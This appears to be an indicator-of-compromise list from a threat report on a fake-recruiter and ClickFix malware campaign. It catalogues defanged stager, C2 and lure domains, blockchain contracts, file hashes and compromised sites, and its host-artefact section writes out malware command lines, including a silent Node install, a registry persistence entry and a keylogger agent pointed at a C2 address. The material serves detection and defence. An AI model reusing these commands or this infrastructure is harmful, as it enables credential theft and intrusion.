NamePreston EllisFake recruiter, reported by Kirill Popov
Emailprestonellis97@gmail[.]comFake recruiter
LinkedIn nameMiguel UriasProfile used by the recruiter, possibly stolen or impersonated

Delivery

TypeValueNotes
IP84.200.33[.]163/302/302w, 302l, 302m, token.cmd, tokenlinux.sh, parser.js, package.json
IP144.172.103[.]226/301/, /302/
IP38.146.27[.]178/302/
IP216.126.239[.]166/69/
Hostymbbbklz4w24ikhj[.]public[.]blob[.]vercel-storage[.]comtoken_windows.cmd, 101.js, json
Hostcqintzfep6rw6jc9[.]public[.]blob[.]vercel-storage[.]com2.bat, 1-1.bat, npm.zip, README.txt
Hostscript-six-tawny[.]vercel[.]app/win and /mac, ClickFix (ErrTraffic) second stage
URLhxxps[:]//script[.]google[.]com/macros/s/AKfycbzs0vQRvI-2Bx4VUUCxUA4k64HdkiHicTmuK3y1MXAl7AgjPIWtRBZqH0v6EzzeuBaH/execVictim logger
URLhxxps[:]//script[.]google[.]com/macros/s/AKfycbxb4fgd5zGFw51svmYeN9q3SMoiJiFd4AymTbW8wjQQBUi86MYgh4HjxFXM1juXIyjZ/execVictim logger, new contract 2026-10-27
Domainsoftify[.]space/w/8ecec3ba, /u/8ecec3ba, new contracts 2026-10-27
Domainupdpkg[.]net/w/8ecec3ba, fetched by softify[.]space, not yet tied to DPRK
Domaindist-cdn[.]net/w/8ecec3ba, fallback for updpkg[.]net, not yet tied to DPRK
Page marker__AVT_VERCEL_BASE, __AVT_APPS_SCRIPT_URL, cogni-lsc-captchaOverlay config globals and comment
URLhxxps[:]//kkhf7a[.]s[.]gy/ea5ed343a2885831Fallback stage 3

Fake Company Sites and Stagers

TypeValueNotes
Domainwww[.]tokenmetrics[.]orgFake “Token Metrics” lure, token 304, 2026-10-18 to 2026-10-28
Domainwww[.]onerapay[.]comFake “OneraPay” exchange lure, tokens 202 / 306, 2026-09-23
Domainwww[.]billiontowers[.]comFake Web3 finance lure, token 310, 2026-09-24
Hoststatus-handler-sage[.]vercel[.]appVictim logger, /api/entered-site, /api/get-status
Hostapi[.]recapcha[.]funClipboard stager, /auth/v1 (Windows), /auth/v2 (Linux), /auth/v3 (macOS)
IP165.140.86[.]190Stager on :3000, /task/windows?token=, /task/mac?token=, /task/tokenlinux, seen 2026-10-26
IP162.0.239[.]85Stager on :3000, /task/tokenlinux?token=30621301, seen 2026-10-17
Hostzenithflow-ext123456[.]vercel[.]appStager, /api/m, seen 2026-10-25
Hostcodeviewer-three[.]vercel[.]appStager, /task/{windows,linux,mac,tokenlinux}?token=
Hostbrantwork[.]vercel[.]appStager, /task/linux?token=3f1193ed6431
Hostgeorgeservice77[.]vercel[.]appStager, /task/mac?token=31d27f3f2f35
Hostext-checkedin[.]vercel[.]appStager, /api/m?token=
Hosteverydaynodechecker-39147n[.]vercel[.]appStager, /api/tokenl?st=
Hostmicglasstown[.]vercel[.]appStager (moderate), /task/{windows,linux,mac}?token=90284, seen 2026-10-26
Hosttask-hrec[.]vercel[.]appStager (moderate), /task/{windows,linux,mac}?token=ad76e54312f1
Hostbrianwebpool[.]vercel[.]appStager (moderate), /task/windows?token=90284f2a63c0
Hostvioa-ext[.]vercel[.]appStager (moderate), /task/mac?token=bc7477f75dca
Hostvscode-config[.]vercel[.]appStager (moderate), /task/windows?token=99
Hostvscode-config-setting[.]vercel[.]appStager (moderate), /task/windows?token=812
IP65.108.27[.]116Stager (moderate) on :3000, /task/mac?token=30621346
IP45.61.164[.]38Stager (moderate) on :8080, /task/tokenlinux?id=401
Page textI am not a bot. I am fixing issues as a service. ID:Comment appended to the clipboard command

C2

TypeValueNotes
IP13.140.228[.]125team1, current, :5000
IP13.140.43[.]225team1, earlier, :5000 RAT and :5056 keylogger, hardcoded in key-agent.js
IP13.140.40[.]133team2, current
IP45.59.163[.]43team2, earlier
IP80.190.73[.]17team3, current
IP13.140.40[.]214team3, earlier
IP13.140.40[.]208team3, earlier
IP66.235.168[.]14team3, earlier
IP82.158.192[.]152team9
IP147.93.2[.]250team10, current
IP165.140.86[.]57team10, earlier
IP91.202.5[.]1241.d hardcoded, /api/service/7a562685932fab76724a4e7217893ffb
IP150.241.203[.]68collector, current, :7200
IP66.235.168[.]152collector, earlier, :7200
IP195.66.213[.]162Header fingerprint
IP138.226.247[.]147Header fingerprint
IP138.226.247[.]152Header fingerprint, dashcenterhost[.]info
IP138.226.247[.]154Header fingerprint
IP13.140.43[.]228Header fingerprint
IP38.92.47[.]164Header fingerprint
IP45.43.11[.]224Header fingerprint
IP165.140.86[.]58Header fingerprint
IP45.59.160[.]215Header fingerprint
HeaderAccess-Control-Expose-Headers: Last-Modified,X-File-Modified-At,X-File-Mtime-MsC2 response header
Hostsummer-bitter-slug[.]matic[.]quiknode[.]proOperator’s QuickNode Polygon RPC

Blockchain (Polygon)

TypeValueNotes
Wallet0x62306bbaac0508d3be1647adeadc74ca43cacb41Treasury, funded all five deployers
Wallet0x8c6dbd55ea75d9b3d2fac545ad9ab6b75f90bca6team1 deployer
Wallet0xa3c1564770bb3951e7acdb95cdd9c3be3e30a5e7team2 deployer
Wallet0xe9b2bb01cbde3b8447c57ad4e81627927c16732ateam3 deployer
Wallet0x3f2e269d81d34b6bde3962db61806dc003129cbcteam9 deployer
Wallet0x85b3b994e937927aff8f423e3b9c99ddac451547team10 deployer
Contract0x4917f0f44be927e6e8b5e4c904a9dd98bfae8b76team1, key b9f494d3657202f17485afe7292e2aa
Contract0x5c00998365a57cd53ab5ea2963689a158dff6301team2, key 05052f0c4d6b1c798f3256b331692e6
Contract0x1a9700e5d74f64429594df53efcb6bc8c3936cb5team3, key 61d64ce104c85a222cf9006b3087965
Contract0x05a071fcccb797cff4eedce28d0ae9c01444dc1ateam9, key 883d2e9b94c10faf42a505c6c279d6d
Contract0xf4da4843ded8e82f3e7bd25290f4445000a4c4ddteam10, key 239b398e46344a434af8b4d6387c2cb
Contract0xb5a3db644aad5124b17bf96c3782d5d7623b89fdcollector, key 49108f562928ec1785ea3a66c01ffa5
Wallet0xb8c9ea1136c4ddc8bd96b1f6674c1469546e27ddcollector deployer, funded by the team9 deployer
Contract (BSC)0x84b730a68098e66a3c1bad4ad145e6546acfcfeaRegistry deployed by the treasury (transaction 83), reported by Kirill Popov
Selector0x8eaa6ac0Getter the loader calls
Selector0xb4800033Setter the deployers use
Contract0xf70730a4e5b89b6c6e02edaed582badf6465e9d9ClickFix (ErrTraffic) overlay link config, Apps Script + Vercel
Contract0xb6bc9e1d0b2fb96ab7c47e04cb0be477410bc1f2ClickFix (ErrTraffic) overlay domain contract, selector 0xb68d1809
Contract0x4b68ee3f26d2062dffc2a980600fa13c27eb6b5dClickFix overlay, new 2026-10-27, softify[.]space
Contract0x289fd372fc932a5c68846b97e249a4e4299f4f48ClickFix overlay, new 2026-10-27, softify[.]space + new Apps Script
Wallet0x4b3ebea0e6795915da2fdd7f4b144e106b4497d2ClickFix overlay deployer
Wallet0xc4ae381a843cea3724f007d655d2b50ce92edc0dFunded the overlay deployer

Files

NameSHA256Notes
token_windows.cmd5784bc7081fe600212a4d24c304159d4135fdbdd292e3b2214e88b4bb70463a5VT 20/56
token.cmd99a74570fa5fc13f000670cd314707cb08275d1ca8347801fdc27df508b053d1/302/
tokenlinux.sh47c0d92b76fc8399a217da9e169042ee66639bb84da848e6db259736f30320b0/302/
302wbde5c02bb3b72f8a5564a63b56337cffec5f2052d7f78d123269dd55125ba0c9Windows paste command
302l6497f4d0c65e56b12ea4dfd170bfac891cf8b4612fa4e8fa4825cb59a8b96ea8Linux paste command
302m09192b6e580fbad5ddbf4fec15fd90eca678ac060f232bdc1da67c029842c35amacOS paste command
/wined3756badf80acf41ac5573ed65537315e45a2a567dd1bfc00d391424f10340fClickFix second stage
/macf71adc8acfbd8811eef0ee5e69484e108544d04512924ffca3a598ea083425fcClickFix macOS second stage, drops token_mac.sh
101.js / parser.npl01e36c45fdc0f44eb73f5c7faef01f73a4a8d3ec07f9d2c9a097f60636b7c875VT 1/61
package.json (tokendapp)a1a3464de31694f6f5571ac4ea5e4f48da6f868e736bd6dd4184086478cbabb6Decoy
main.js5159690110253f976029da699ee71a3b8c70a320d52219b8dbe501dbb0f0db58Stage 3, embedded text
2.bat03d6c8cdf1b26aeedfcdd41fbaed94a273a28ccf6c58efdb59d104dc5ca643cdVT 9/75
1-1.bat83d172a6effbddee70ff23bc773d0d0c019a6d978298f46588222ade5b83108cVT 24/75
npm.zipd5b285ebfb5342e571c466884a3812bfc031abd5252a92d822dfaac18766661eVT 7/75
1.d7a9e2015e113960853f68a0e8fc48e9596dbaec857b0211ca1c79bb97fd38d6bVT 2/75
key-agent.js (/download-win-key)ca2352d60cb1ba956bd64ac68f9a394af0c189ad5abfeee241f97257c2393195Keyboard Sync Agent, VT 0/75
key-agent.js (as written to disk)50b2af734b97c279e50ca4049dc7e3fc10ab84875bc8a474e5b76206350544feKeyboard Sync Agent
abe_payload.dll47a76888121a06bf9d56313b21be269a3b5acb32a7c25c0ef8c4739e219c27ceChrome App-Bound Encryption bypass, VT 34/75
Stager decoy8fcbd1c464365a8a56beeec6da4b944babda843cd3961fdd75220f446b7c0e84@echo off / echo Authenticated
Stager decoyaccf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07Permanently suspended
Stager decoy44563513d77e961ab2664f29f00410776bd0374fa974995033a814433d04cc82Access permanently suspended. (HTTP 403)
Lure script012f5f22e173556dd30168726e1d1651ec4bb86a178d0fe5efc4466f9a62793awww[.]tokenmetrics[.]org /assets/index-B-4J-Tdf.js

Host Artefacts

TypeValue
Folder%USERPROFILE%\.task\ / ~/.task/ (parser.npl, parser.js, parser.log)
Folder%USERPROFILE%\.vs_cache\ (main.js, main.vbs, package.json named main)
Folder%TEMP%\node\ (1.d, pack)
Processmsiexec /a "%~dp0node-v<version>-x64.msi" /qn TARGETDIR="%~dp0nodejs" from cmd.exe
Processwscript.exe //B %USERPROFILE%\.vs_cache\main.vbs
Processnode.exe making eth_call requests with data starting 0x8eaa6ac0
Processnode.exe %USERPROFILE%\.vs_cache\key-agent.js --win-key-agent -s http://<ip>:5056 -i <campaign> -l <hostname>
RegistryHKCU\Software\Microsoft\Windows\CurrentVersion\Run value Microsoft Realtime Aggregator = wscript.exe "%USERPROFILE%\.vs_cache\main.vbs"
RegistryRun values deleted by the RAT: NvidiaDriverUpdate, VScode.Update.Publisher, Microsoft Realtime Agreegator
File%USERPROFILE%\.vs_cache\ key-agent.js, abe_payload.dll, client.pid, backup.pause
URL path/register, /content-upload, /file-upload, /download-win-key, /download-abe-payload on the C2

Compromised Sites

DomainFirst Seen
bentleyg[.]com2026-10-17
atelierdejulie[.]com2026-10-17
wkaikido[.]pl2026-10-20
joseluislacasta[.]com2026-10-21
restyledjunk[.]com2026-10-21
nhakhoataysaigon[.]com2026-10-22
morganaorvokki[.]com2026-10-26
findmyperfecthome[.]co[.]uk2026-10-26
adamconsultings[.]com2026-10-26
marcela-beran[.]de2026-10-26
cestiecalici[.]com2026-10-26
africanyoutharchitects[.]org2026-10-26
sanfaz[.]com[.]pk2026-10-26
limitlessroofingsolutions[.]co[.]uk2026-10-26
korowater[.]com2026-10-26
mineralsempire[.]com2026-10-28
alfathermals[.]com2026-10-28
ankomelife[.]com2026-10-28
casadeescola[.]com[.]br2026-10-28
couponsdealfind[.]com2026-10-28
ercanmakinabursa[.]com2026-10-28
fuller-eg[.]com2026-10-28
idealinvestimmobilier[.]com2026-10-28
in-person[.]website2026-10-28
ingecolsan[.]com2026-10-28
kickstartupbusiness[.]com2026-10-28
liftingbarriers[.]org2026-10-28
majdod[.]com2026-10-28
medicalweedsa[.]com2026-10-28
pereanton[.]com2026-10-28
perucio[.]com2026-10-28
smartgadgetsrus[.]com2026-10-28
stylinbyshikha[.]com2026-10-28
tiacollege[.]com2026-10-28
guvenfilm[.]com2026-10-28
neomediaworks[.]com2026-10-28